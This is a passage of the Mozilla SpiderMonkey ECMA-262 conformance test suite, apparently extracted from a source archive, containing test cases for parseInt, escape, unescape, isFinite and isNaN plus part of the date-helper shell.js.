If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.2-1.js ECMA Section: 15.1.2.2 Function properties of the global object parseInt( string, radix ) Description: parseInt test cases written by waldemar, and documented in http://scopus.mcom.com/bugsplat/show_bug.cgi?id=123874. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.2-2"; var VERSION = "ECMA_1"; var TITLE = "parseInt(string, radix)"; var BUGNUMBER = "none"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, 'parseInt("000000100000000100100011010001010110011110001001101010111100",2)', 9027215253084860, parseInt("000000100000000100100011010001010110011110001001101010111100",2) ); new TestCase( SECTION, 'parseInt("000000100000000100100011010001010110011110001001101010111101",2)', 9027215253084860, parseInt("000000100000000100100011010001010110011110001001101010111101",2)); new TestCase( SECTION, 'parseInt("000000100000000100100011010001010110011110001001101010111111",2)', 9027215253084864, parseInt("000000100000000100100011010001010110011110001001101010111111",2) ); new TestCase( SECTION, 'parseInt("0000001000000001001000110100010101100111100010011010101111010",2)', 18054430506169720, parseInt("0000001000000001001000110100010101100111100010011010101111010",2) ); new TestCase( SECTION, 'parseInt("0000001000000001001000110100010101100111100010011010101111011",2)', 18054430506169724, parseInt("0000001000000001001000110100010101100111100010011010101111011",2)); new TestCase( SECTION, 'parseInt("0000001000000001001000110100010101100111100010011010101111100",2)', 18054430506169724, parseInt("0000001000000001001000110100010101100111100010011010101111100",2) ); new TestCase( SECTION, 'parseInt("0000001000000001001000110100010101100111100010011010101111110",2)', 18054430506169728, parseInt("0000001000000001001000110100010101100111100010011010101111110",2) ); new TestCase( SECTION, 'parseInt("yz",35)', 34, parseInt("yz",35) ); new TestCase( SECTION, 'parseInt("yz",36)', 1259, parseInt("yz",36) ); new TestCase( SECTION, 'parseInt("yz",37)', NaN, parseInt("yz",37) ); new TestCase( SECTION, 'parseInt("+77")', 77, parseInt("+77") ); new TestCase( SECTION, 'parseInt("-77",9)', -70, parseInt("-77",9) ); new TestCase( SECTION, 'parseInt("\u20001234\u2000")', 1234, parseInt("\u20001234\u2000") ); new TestCase( SECTION, 'parseInt("123456789012345678")', 123456789012345680, parseInt("123456789012345678") ); new TestCase( SECTION, 'parseInt("9",8)', NaN, parseInt("9",8) ); new TestCase( SECTION, 'parseInt("1e2")', 1, parseInt("1e2") ); new TestCase( SECTION, 'parseInt("1.9999999999999999999")', 1, parseInt("1.9999999999999999999") ); new TestCase( SECTION, 'parseInt("0x10")', 16, parseInt("0x10") ); new TestCase( SECTION, 'parseInt("0x10",10)', 0, parseInt("0x10",10)); new TestCase( SECTION, 'parseInt("0022")', 18, parseInt("0022")); new TestCase( SECTION, 'parseInt("0022",10)', 22, parseInt("0022",10) ); new TestCase( SECTION, 'parseInt("0x1000000000000080")', 1152921504606847000, parseInt("0x1000000000000080") ); new TestCase( SECTION, 'parseInt("0x1000000000000081")', 1152921504606847200, parseInt("0x1000000000000081") ); s = "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" s += "0000000000000000000000000000000000000"; new TestCase( SECTION, "s = " + s +"; -s", -1.7976931348623157e+308, -s ); s = "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; s += "0000000000000000000000000000000000001"; new TestCase( SECTION, "s = " + s +"; -s", -1.7976931348623157e+308, -s ); s = "0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; s += "0000000000000000000000000000000000000" new TestCase( SECTION, "s = " + s + "; -s", -Infinity, -s ); s = "0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; s += "0000000000000000000000000000000000001"; new TestCase( SECTION, "s = " + s + "; -s", -1.7976931348623157e+308, -s ); s += "0" new TestCase( SECTION, "s = " + s + "; -s", -Infinity, -s ); new TestCase( SECTION, 'parseInt(s)', Infinity, parseInt(s) ); new TestCase( SECTION, 'parseInt(s,32)', 0, parseInt(s,32) ); new TestCase( SECTION, 'parseInt(s,36)', Infinity, parseInt(s,36)); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.5-1.js0000664000175000017500000001430612106270663021771 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.5-1.js ECMA Section: 15.1.2.5 Function properties of the global object unescape( string ) Description: The unescape function computes a new version of a string value in which each escape sequences of the sort that might be introduced by the escape function is replaced with the character that it represents. When the unescape function is called with one argument string, the following steps are taken: 1. Call ToString(string). 2. Compute the number of characters in Result(1). 3. Let R be the empty string. 4. Let k be 0. 5. If k equals Result(2), return R. 6. Let c be the character at position k within Result(1). 7. If c is not %, go to step 18. 8. If k is greater than Result(2)-6, go to step 14. 9. If the character at position k+1 within result(1) is not u, go to step 14. 10. If the four characters at positions k+2, k+3, k+4, and k+5 within Result(1) are not all hexadecimal digits, go to step 14. 11. Let c be the character whose Unicode encoding is the integer represented by the four hexadecimal digits at positions k+2, k+3, k+4, and k+5 within Result(1). 12. Increase k by 5. 13. Go to step 18. 14. If k is greater than Result(2)-3, go to step 18. 15. If the two characters at positions k+1 and k+2 within Result(1) are not both hexadecimal digits, go to step 18. 16. Let c be the character whose Unicode encoding is the integer represented by two zeroes plus the two hexadecimal digits at positions k+1 and k+2 within Result(1). 17. Increase k by 2. 18. Let R be a new string value computed by concatenating the previous value of R and c. 19. Increase k by 1. 20. Go to step 5. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "unescape(string)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "unescape.length", 1, unescape.length ); new TestCase( SECTION, "unescape.length = null; unescape.length", 1, eval("unescape.length=null; unescape.length") ); new TestCase( SECTION, "delete unescape.length", false, delete unescape.length ); new TestCase( SECTION, "delete unescape.length; unescape.length", 1, eval("delete unescape.length; unescape.length") ); new TestCase( SECTION, "var MYPROPS=''; for ( var p in unescape ) { MYPROPS+= p }; MYPROPS", "", eval("var MYPROPS=''; for ( var p in unescape ) { MYPROPS+= p }; MYPROPS") ); new TestCase( SECTION, "unescape()", "undefined", unescape() ); new TestCase( SECTION, "unescape('')", "", unescape('') ); new TestCase( SECTION, "unescape( null )", "null", unescape(null) ); new TestCase( SECTION, "unescape( void 0 )", "undefined", unescape(void 0) ); new TestCase( SECTION, "unescape( true )", "true", unescape( true ) ); new TestCase( SECTION, "unescape( false )", "false", unescape( false ) ); new TestCase( SECTION, "unescape( new Boolean(true) )", "true", unescape(new Boolean(true)) ); new TestCase( SECTION, "unescape( new Boolean(false) )", "false", unescape(new Boolean(false)) ); new TestCase( SECTION, "unescape( Number.NaN )", "NaN", unescape(Number.NaN) ); new TestCase( SECTION, "unescape( -0 )", "0", unescape( -0 ) ); new TestCase( SECTION, "unescape( 'Infinity' )", "Infinity", unescape( "Infinity" ) ); new TestCase( SECTION, "unescape( Number.POSITIVE_INFINITY )", "Infinity", unescape( Number.POSITIVE_INFINITY ) ); new TestCase( SECTION, "unescape( Number.NEGATIVE_INFINITY )", "-Infinity", unescape( Number.NEGATIVE_INFINITY ) ); var ASCII_TEST_STRING = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@*_+-./"; new TestCase( SECTION, "unescape( " +ASCII_TEST_STRING+" )", ASCII_TEST_STRING, unescape( ASCII_TEST_STRING ) ); // escaped chars with ascii values less than 256 for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) { new TestCase( SECTION, "unescape( %"+ ToHexString(CHARCODE)+" )", String.fromCharCode(CHARCODE), unescape( "%" + ToHexString(CHARCODE) ) ); } // unicode chars represented by two hex digits for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) { new TestCase( SECTION, "unescape( %u"+ ToHexString(CHARCODE)+" )", "%u"+ToHexString(CHARCODE), unescape( "%u" + ToHexString(CHARCODE) ) ); } /* for ( var CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) { new TestCase( SECTION, "unescape( %u"+ ToUnicodeString(CHARCODE)+" )", String.fromCharCode(CHARCODE), unescape( "%u" + ToUnicodeString(CHARCODE) ) ); } for ( var CHARCODE = 256; CHARCODE < 65536; CHARCODE+= 333 ) { new TestCase( SECTION, "unescape( %u"+ ToUnicodeString(CHARCODE)+" )", String.fromCharCode(CHARCODE), unescape( "%u" + ToUnicodeString(CHARCODE) ) ); } */ test(); function ToUnicodeString( n ) { var string = ToHexString(n); for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) { string = "0" + string; } return string; } function ToHexString( n ) { var hex = new Array(); for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) { ; } for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) { hex[index] = Math.floor( n / Math.pow(16,mag) ); n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) ); } hex[hex.length] = n % 16; var string =""; for ( var index = 0 ; index < hex.length ; index++ ) { switch ( hex[index] ) { case 10: string += "A"; break; case 11: string += "B"; break; case 12: string += "C"; break; case 13: string += "D"; break; case 14: string += "E"; break; case 15: string += "F"; break; default: string += hex[index]; } } if ( string.length == 1 ) { string = "0" + string; } return string; } mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.4.js0000664000175000017500000001411712106270663021632 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.4.js ECMA Section: 15.1.2.4 Function properties of the global object escape( string ) Description: The escape function computes a new version of a string value in which certain characters have been replaced by a hexadecimal escape sequence. The result thus contains no special characters that might have special meaning within a URL. For characters whose Unicode encoding is 0xFF or less, a two-digit escape sequence of the form %xx is used in accordance with RFC1738. For characters whose Unicode encoding is greater than 0xFF, a four- digit escape sequence of the form %uxxxx is used. When the escape function is called with one argument string, the following steps are taken: 1. Call ToString(string). 2. Compute the number of characters in Result(1). 3. Let R be the empty string. 4. Let k be 0. 5. If k equals Result(2), return R. 6. Get the character at position k within Result(1). 7. If Result(6) is one of the 69 nonblank ASCII characters ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz 0123456789 @*_+-./, go to step 14. 8. Compute the 16-bit unsigned integer that is the Unicode character encoding of Result(6). 9. If Result(8), is less than 256, go to step 12. 10. Let S be a string containing six characters "%uwxyz" where wxyz are four hexadecimal digits encoding the value of Result(8). 11. Go to step 15. 12. Let S be a string containing three characters "%xy" where xy are two hexadecimal digits encoding the value of Result(8). 13. Go to step 15. 14. Let S be a string containing the single character Result(6). 15. Let R be a new string value computed by concatenating the previous value of R and S. 16. Increase k by 1. 17. Go to step 5. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "escape(string)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "escape.length", 1, escape.length ); new TestCase( SECTION, "escape.length = null; escape.length", 1, eval("escape.length = null; escape.length") ); new TestCase( SECTION, "delete escape.length", false, delete escape.length ); new TestCase( SECTION, "delete escape.length; escape.length", 1, eval("delete escape.length; escape.length") ); new TestCase( SECTION, "var MYPROPS=''; for ( var p in escape ) { MYPROPS+= p}; MYPROPS", "", eval("var MYPROPS=''; for ( var p in escape ) { MYPROPS+= p}; MYPROPS") ); new TestCase( SECTION, "escape()", "undefined", escape() ); new TestCase( SECTION, "escape('')", "", escape('') ); new TestCase( SECTION, "escape( null )", "null", escape(null) ); new TestCase( SECTION, "escape( void 0 )", "undefined", escape(void 0) ); new TestCase( SECTION, "escape( true )", "true", escape( true ) ); new TestCase( SECTION, "escape( false )", "false", escape( false ) ); new TestCase( SECTION, "escape( new Boolean(true) )", "true", escape(new Boolean(true)) ); new TestCase( SECTION, "escape( new Boolean(false) )", "false", escape(new Boolean(false)) ); new TestCase( SECTION, "escape( Number.NaN )", "NaN", escape(Number.NaN) ); new TestCase( SECTION, "escape( -0 )", "0", escape( -0 ) ); new TestCase( SECTION, "escape( 'Infinity' )", "Infinity", escape( "Infinity" ) ); new TestCase( SECTION, "escape( Number.POSITIVE_INFINITY )", "Infinity", escape( Number.POSITIVE_INFINITY ) ); new TestCase( SECTION, "escape( Number.NEGATIVE_INFINITY )", "-Infinity", escape( Number.NEGATIVE_INFINITY ) ); var ASCII_TEST_STRING = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@*_+-./"; new TestCase( SECTION, "escape( " +ASCII_TEST_STRING+" )", ASCII_TEST_STRING, escape( ASCII_TEST_STRING ) ); // ASCII value less than for ( var CHARCODE = 0; CHARCODE < 32; CHARCODE++ ) { new TestCase( SECTION, "escape(String.fromCharCode("+CHARCODE+"))", "%"+ToHexString(CHARCODE), escape(String.fromCharCode(CHARCODE)) ); } for ( var CHARCODE = 128; CHARCODE < 256; CHARCODE++ ) { new TestCase( SECTION, "escape(String.fromCharCode("+CHARCODE+"))", "%"+ToHexString(CHARCODE), escape(String.fromCharCode(CHARCODE)) ); } for ( var CHARCODE = 256; CHARCODE < 1024; CHARCODE++ ) { new TestCase( SECTION, "escape(String.fromCharCode("+CHARCODE+"))", "%u"+ ToUnicodeString(CHARCODE), escape(String.fromCharCode(CHARCODE)) ); } for ( var CHARCODE = 65500; CHARCODE < 65536; CHARCODE++ ) { new TestCase( SECTION, "escape(String.fromCharCode("+CHARCODE+"))", "%u"+ ToUnicodeString(CHARCODE), escape(String.fromCharCode(CHARCODE)) ); } test(); function ToUnicodeString( n ) { var string = ToHexString(n); for ( var PAD = (4 - string.length ); PAD > 0; PAD-- ) { string = "0" + string; } return string; } function ToHexString( n ) { var hex = new Array(); for ( var mag = 1; Math.pow(16,mag) <= n ; mag++ ) { ; } for ( index = 0, mag -= 1; mag > 0; index++, mag-- ) { hex[index] = Math.floor( n / Math.pow(16,mag) ); n -= Math.pow(16,mag) * Math.floor( n/Math.pow(16,mag) ); } hex[hex.length] = n % 16; var string =""; for ( var index = 0 ; index < hex.length ; index++ ) { switch ( hex[index] ) { case 10: string += "A"; break; case 11: string += "B"; break; case 12: string += "C"; break; case 13: string += "D"; break; case 14: string += "E"; break; case 15: string += "F"; break; default: string += hex[index]; } } if ( string.length == 1 ) { string = "0" + string; } return string; } mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.7.js0000664000175000017500000001333112106270663021632 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.7.js ECMA Section: 15.1.2.7 isFinite(number) Description: Applies ToNumber to its argument, then returns false if the result is NaN, Infinity, or -Infinity, and otherwise returns true. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.7"; var VERSION = "ECMA_1"; var TITLE = "isFinite( x )"; var BUGNUMBER= "none"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "isFinite.length", 1, isFinite.length ); new TestCase( SECTION, "isFinite.length = null; isFinite.length", 1, eval("isFinite.length=null; isFinite.length") ); new TestCase( SECTION, "delete isFinite.length", false, delete isFinite.length ); new TestCase( SECTION, "delete isFinite.length; isFinite.length", 1, eval("delete isFinite.length; isFinite.length") ); new TestCase( SECTION, "var MYPROPS=''; for ( p in isFinite ) { MYPROPS+= p }; MYPROPS", "", eval("var MYPROPS=''; for ( p in isFinite ) { MYPROPS += p }; MYPROPS") ); new TestCase( SECTION, "isFinite()", false, isFinite() ); new TestCase( SECTION, "isFinite( null )", true, isFinite(null) ); new TestCase( SECTION, "isFinite( void 0 )", false, isFinite(void 0) ); new TestCase( SECTION, "isFinite( false )", true, isFinite(false) ); new TestCase( SECTION, "isFinite( true)", true, isFinite(true) ); new TestCase( SECTION, "isFinite( ' ' )", true, isFinite( " " ) ); new TestCase( SECTION, "isFinite( new Boolean(true) )", true, isFinite(new Boolean(true)) ); new TestCase( SECTION, "isFinite( new Boolean(false) )", true, isFinite(new Boolean(false)) ); new TestCase( SECTION, "isFinite( 0 )", true, isFinite(0) ); new TestCase( SECTION, "isFinite( 1 )", true, isFinite(1) ); new TestCase( SECTION, "isFinite( 2 )", true, isFinite(2) ); new TestCase( SECTION, "isFinite( 3 )", true, isFinite(3) ); new TestCase( SECTION, "isFinite( 4 )", true, isFinite(4) ); new TestCase( SECTION, "isFinite( 5 )", true, isFinite(5) ); new TestCase( SECTION, "isFinite( 6 )", true, isFinite(6) ); new TestCase( SECTION, "isFinite( 7 )", true, isFinite(7) ); new TestCase( SECTION, "isFinite( 8 )", true, isFinite(8) ); new TestCase( SECTION, "isFinite( 9 )", true, isFinite(9) ); new TestCase( SECTION, "isFinite( '0' )", true, isFinite('0') ); new TestCase( SECTION, "isFinite( '1' )", true, isFinite('1') ); new TestCase( SECTION, "isFinite( '2' )", true, isFinite('2') ); new TestCase( SECTION, "isFinite( '3' )", true, isFinite('3') ); new TestCase( SECTION, "isFinite( '4' )", true, isFinite('4') ); new TestCase( SECTION, "isFinite( '5' )", true, isFinite('5') ); new TestCase( SECTION, "isFinite( '6' )", true, isFinite('6') ); new TestCase( SECTION, "isFinite( '7' )", true, isFinite('7') ); new TestCase( SECTION, "isFinite( '8' )", true, isFinite('8') ); new TestCase( SECTION, "isFinite( '9' )", true, isFinite('9') ); new TestCase( SECTION, "isFinite( 0x0a )", true, isFinite( 0x0a ) ); new TestCase( SECTION, "isFinite( 0xaa )", true, isFinite( 0xaa ) ); new TestCase( SECTION, "isFinite( 0x0A )", true, isFinite( 0x0A ) ); new TestCase( SECTION, "isFinite( 0xAA )", true, isFinite( 0xAA ) ); new TestCase( SECTION, "isFinite( '0x0a' )", true, isFinite( "0x0a" ) ); new TestCase( SECTION, "isFinite( '0xaa' )", true, isFinite( "0xaa" ) ); new TestCase( SECTION, "isFinite( '0x0A' )", true, isFinite( "0x0A" ) ); new TestCase( SECTION, "isFinite( '0xAA' )", true, isFinite( "0xAA" ) ); new TestCase( SECTION, "isFinite( 077 )", true, isFinite( 077 ) ); new TestCase( SECTION, "isFinite( '077' )", true, isFinite( "077" ) ); new TestCase( SECTION, "isFinite( new String('Infinity') )", false, isFinite(new String("Infinity")) ); new TestCase( SECTION, "isFinite( new String('-Infinity') )", false, isFinite(new String("-Infinity")) ); new TestCase( SECTION, "isFinite( 'Infinity' )", false, isFinite("Infinity") ); new TestCase( SECTION, "isFinite( '-Infinity' )", false, isFinite("-Infinity") ); new TestCase( SECTION, "isFinite( Number.POSITIVE_INFINITY )", false, isFinite(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "isFinite( Number.NEGATIVE_INFINITY )", false, isFinite(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "isFinite( Number.NaN )", false, isFinite(Number.NaN) ); new TestCase( SECTION, "isFinite( Infinity )", false, isFinite(Infinity) ); new TestCase( SECTION, "isFinite( -Infinity )", false, isFinite(-Infinity) ); new TestCase( SECTION, "isFinite( NaN )", false, isFinite(NaN) ); new TestCase( SECTION, "isFinite( Number.MAX_VALUE )", true, isFinite(Number.MAX_VALUE) ); new TestCase( SECTION, "isFinite( Number.MIN_VALUE )", true, isFinite(Number.MIN_VALUE) ); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.6.js0000664000175000017500000001175112106270663021635 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.6.js ECMA Section: 15.1.2.6 isNaN( x ) Description: Applies ToNumber to its argument, then returns true if the result isNaN and otherwise returns false. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.6"; var VERSION = "ECMA_1"; var TITLE = "isNaN( x )"; var BUGNUMBER = "none"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "isNaN.length", 1, isNaN.length ); new TestCase( SECTION, "var MYPROPS=''; for ( var p in isNaN ) { MYPROPS+= p }; MYPROPS", "", eval("var MYPROPS=''; for ( var p in isNaN ) { MYPROPS+= p }; MYPROPS") ); new TestCase( SECTION, "isNaN.length = null; isNaN.length", 1, eval("isNaN.length=null; isNaN.length") ); new TestCase( SECTION, "delete isNaN.length", false, delete isNaN.length ); new TestCase( SECTION, "delete isNaN.length; isNaN.length", 1, eval("delete isNaN.length; isNaN.length") ); // new TestCase( SECTION, "isNaN.__proto__", Function.prototype, isNaN.__proto__ ); new TestCase( SECTION, "isNaN()", true, isNaN() ); new TestCase( SECTION, "isNaN( null )", false, isNaN(null) ); new TestCase( SECTION, "isNaN( void 0 )", true, isNaN(void 0) ); new TestCase( SECTION, "isNaN( true )", false, isNaN(true) ); new TestCase( SECTION, "isNaN( false)", false, isNaN(false) ); new TestCase( SECTION, "isNaN( ' ' )", false, isNaN( " " ) ); new TestCase( SECTION, "isNaN( 0 )", false, isNaN(0) ); new TestCase( SECTION, "isNaN( 1 )", false, isNaN(1) ); new TestCase( SECTION, "isNaN( 2 )", false, isNaN(2) ); new TestCase( SECTION, "isNaN( 3 )", false, isNaN(3) ); new TestCase( SECTION, "isNaN( 4 )", false, isNaN(4) ); new TestCase( SECTION, "isNaN( 5 )", false, isNaN(5) ); new TestCase( SECTION, "isNaN( 6 )", false, isNaN(6) ); new TestCase( SECTION, "isNaN( 7 )", false, isNaN(7) ); new TestCase( SECTION, "isNaN( 8 )", false, isNaN(8) ); new TestCase( SECTION, "isNaN( 9 )", false, isNaN(9) ); new TestCase( SECTION, "isNaN( '0' )", false, isNaN('0') ); new TestCase( SECTION, "isNaN( '1' )", false, isNaN('1') ); new TestCase( SECTION, "isNaN( '2' )", false, isNaN('2') ); new TestCase( SECTION, "isNaN( '3' )", false, isNaN('3') ); new TestCase( SECTION, "isNaN( '4' )", false, isNaN('4') ); new TestCase( SECTION, "isNaN( '5' )", false, isNaN('5') ); new TestCase( SECTION, "isNaN( '6' )", false, isNaN('6') ); new TestCase( SECTION, "isNaN( '7' )", false, isNaN('7') ); new TestCase( SECTION, "isNaN( '8' )", false, isNaN('8') ); new TestCase( SECTION, "isNaN( '9' )", false, isNaN('9') ); new TestCase( SECTION, "isNaN( 0x0a )", false, isNaN( 0x0a ) ); new TestCase( SECTION, "isNaN( 0xaa )", false, isNaN( 0xaa ) ); new TestCase( SECTION, "isNaN( 0x0A )", false, isNaN( 0x0A ) ); new TestCase( SECTION, "isNaN( 0xAA )", false, isNaN( 0xAA ) ); new TestCase( SECTION, "isNaN( '0x0a' )", false, isNaN( "0x0a" ) ); new TestCase( SECTION, "isNaN( '0xaa' )", false, isNaN( "0xaa" ) ); new TestCase( SECTION, "isNaN( '0x0A' )", false, isNaN( "0x0A" ) ); new TestCase( SECTION, "isNaN( '0xAA' )", false, isNaN( "0xAA" ) ); new TestCase( SECTION, "isNaN( 077 )", false, isNaN( 077 ) ); new TestCase( SECTION, "isNaN( '077' )", false, isNaN( "077" ) ); new TestCase( SECTION, "isNaN( Number.NaN )", true, isNaN(Number.NaN) ); new TestCase( SECTION, "isNaN( Number.POSITIVE_INFINITY )", false, isNaN(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "isNaN( Number.NEGATIVE_INFINITY )", false, isNaN(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "isNaN( Number.MAX_VALUE )", false, isNaN(Number.MAX_VALUE) ); new TestCase( SECTION, "isNaN( Number.MIN_VALUE )", false, isNaN(Number.MIN_VALUE) ); new TestCase( SECTION, "isNaN( NaN )", true, isNaN(NaN) ); new TestCase( SECTION, "isNaN( Infinity )", false, isNaN(Infinity) ); new TestCase( SECTION, "isNaN( 'Infinity' )", false, isNaN("Infinity") ); new TestCase( SECTION, "isNaN( '-Infinity' )", false, isNaN("-Infinity") ); test(); mozjs17.0.0/js/src/tests/ecma/README0000664000175000017500000000002312106270663016726 0ustar sstanglsstanglECMA 262 Edition 1 mozjs17.0.0/js/src/tests/ecma/shell.js0000664000175000017500000003337612106270663017534 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /* * Date functions used by tests in Date suite * */ var msPerDay = 86400000; var HoursPerDay = 24; var MinutesPerHour = 60; var SecondsPerMinute = 60; var msPerSecond = 1000; var msPerMinute = 60000; // msPerSecond * SecondsPerMinute var msPerHour = 3600000; // msPerMinute * MinutesPerHour var TZ_DIFF = getTimeZoneDiff(); // offset of tester's timezone from UTC var TZ_ADJUST = TZ_DIFF * msPerHour; var TZ_PST = -8; // offset of Pacific Standard Time from UTC var PST_DIFF = TZ_DIFF - TZ_PST; // offset of tester's timezone from PST var PST_ADJUST = TZ_PST * msPerHour; var TIME_0000 = (function () { // calculate time for year 0 for ( var time = 0, year = 1969; year >= 0; year-- ) { time -= TimeInYear(year); } return time; })(); var TIME_1970 = 0; var TIME_2000 = 946684800000; var TIME_1900 = -2208988800000; var UTC_FEB_29_2000 = TIME_2000 + 31*msPerDay + 28*msPerDay; var UTC_JAN_1_2005 = TIME_2000 + TimeInYear(2000) + TimeInYear(2001) + TimeInYear(2002) + TimeInYear(2003) + TimeInYear(2004); var now = new Date(); var TIME_NOW = now.valueOf(); //valueOf() is to accurate to the millisecond //Date.parse() is accurate only to the second /* * Originally, the test suite used a hard-coded value TZ_DIFF = -8. * But that was only valid for testers in the Pacific Standard Time Zone! * We calculate the proper number dynamically for any tester. We just * have to be careful not to use a date subject to Daylight Savings Time... */ function getTimeZoneDiff() { return -((new Date(2000, 1, 1)).getTimezoneOffset())/60; } /* * Date test "ResultArrays" are hard-coded for Pacific Standard Time. * We must adjust them for the tester's own timezone - */ function adjustResultArray(ResultArray, msMode) { // If the tester's system clock is in PST, no need to continue - // if (!PST_DIFF) {return;} /* The date testcases instantiate Date objects in two different ways: * * millisecond mode: e.g. dt = new Date(10000000); * year-month-day mode: dt = new Date(2000, 5, 1, ...); * * In the first case, the date is measured from Time 0 in Greenwich (i.e. UTC). * In the second case, it is measured with reference to the tester's local timezone. * * In the first case we must correct those values expected for local measurements, * like dt.getHours() etc. No correction is necessary for dt.getUTCHours() etc. * * In the second case, it is exactly the other way around - */ if (msMode) { // The hard-coded UTC milliseconds from Time 0 derives from a UTC date. // Shift to the right by the offset between UTC and the tester. var t = ResultArray[TIME] + TZ_DIFF*msPerHour; // Use our date arithmetic functions to determine the local hour, day, etc. ResultArray[HOURS] = HourFromTime(t); ResultArray[DAY] = WeekDay(t); ResultArray[DATE] = DateFromTime(t); ResultArray[MONTH] = MonthFromTime(t); ResultArray[YEAR] = YearFromTime(t); } else { // The hard-coded UTC milliseconds from Time 0 derives from a PST date. // Shift to the left by the offset between PST and the tester. var t = ResultArray[TIME] - PST_DIFF*msPerHour; // Use our date arithmetic functions to determine the UTC hour, day, etc. ResultArray[TIME] = t; ResultArray[UTC_HOURS] = HourFromTime(t); ResultArray[UTC_DAY] = WeekDay(t); ResultArray[UTC_DATE] = DateFromTime(t); ResultArray[UTC_MONTH] = MonthFromTime(t); ResultArray[UTC_YEAR] = YearFromTime(t); } } function Day( t ) { return ( Math.floor(t/msPerDay ) ); } function DaysInYear( y ) { if ( y % 4 != 0 ) { return 365; } if ( (y % 4 == 0) && (y % 100 != 0) ) { return 366; } if ( (y % 100 == 0) && (y % 400 != 0) ) { return 365; } if ( (y % 400 == 0) ){ return 366; } else { return "ERROR: DaysInYear(" + y + ") case not covered"; } } function TimeInYear( y ) { return ( DaysInYear(y) * msPerDay ); } function DayNumber( t ) { return ( Math.floor( t / msPerDay ) ); } function TimeWithinDay( t ) { var r = t % msPerDay; if (r < 0) { r += msPerDay; } return r; } function YearNumber( t ) { } function TimeFromYear( y ) { return ( msPerDay * DayFromYear(y) ); } function DayFromYear( y ) { return ( 365*(y-1970) + Math.floor((y-1969)/4) - Math.floor((y-1901)/100) + Math.floor((y-1601)/400) ); } function InLeapYear( t ) { if ( DaysInYear(YearFromTime(t)) == 365 ) { return 0; } if ( DaysInYear(YearFromTime(t)) == 366 ) { return 1; } else { return "ERROR: InLeapYear("+ t + ") case not covered"; } } function YearFromTime( t ) { t = Number( t ); var sign = ( t < 0 ) ? -1 : 1; var year = ( sign < 0 ) ? 1969 : 1970; for ( var timeToTimeZero = t; ; ) { // subtract the current year's time from the time that's left. timeToTimeZero -= sign * TimeInYear(year) // if there's less than the current year's worth of time left, then break. if ( sign < 0 ) { if ( sign * timeToTimeZero <= 0 ) { break; } else { year += sign; } } else { if ( sign * timeToTimeZero < 0 ) { break; } else { year += sign; } } } return ( year 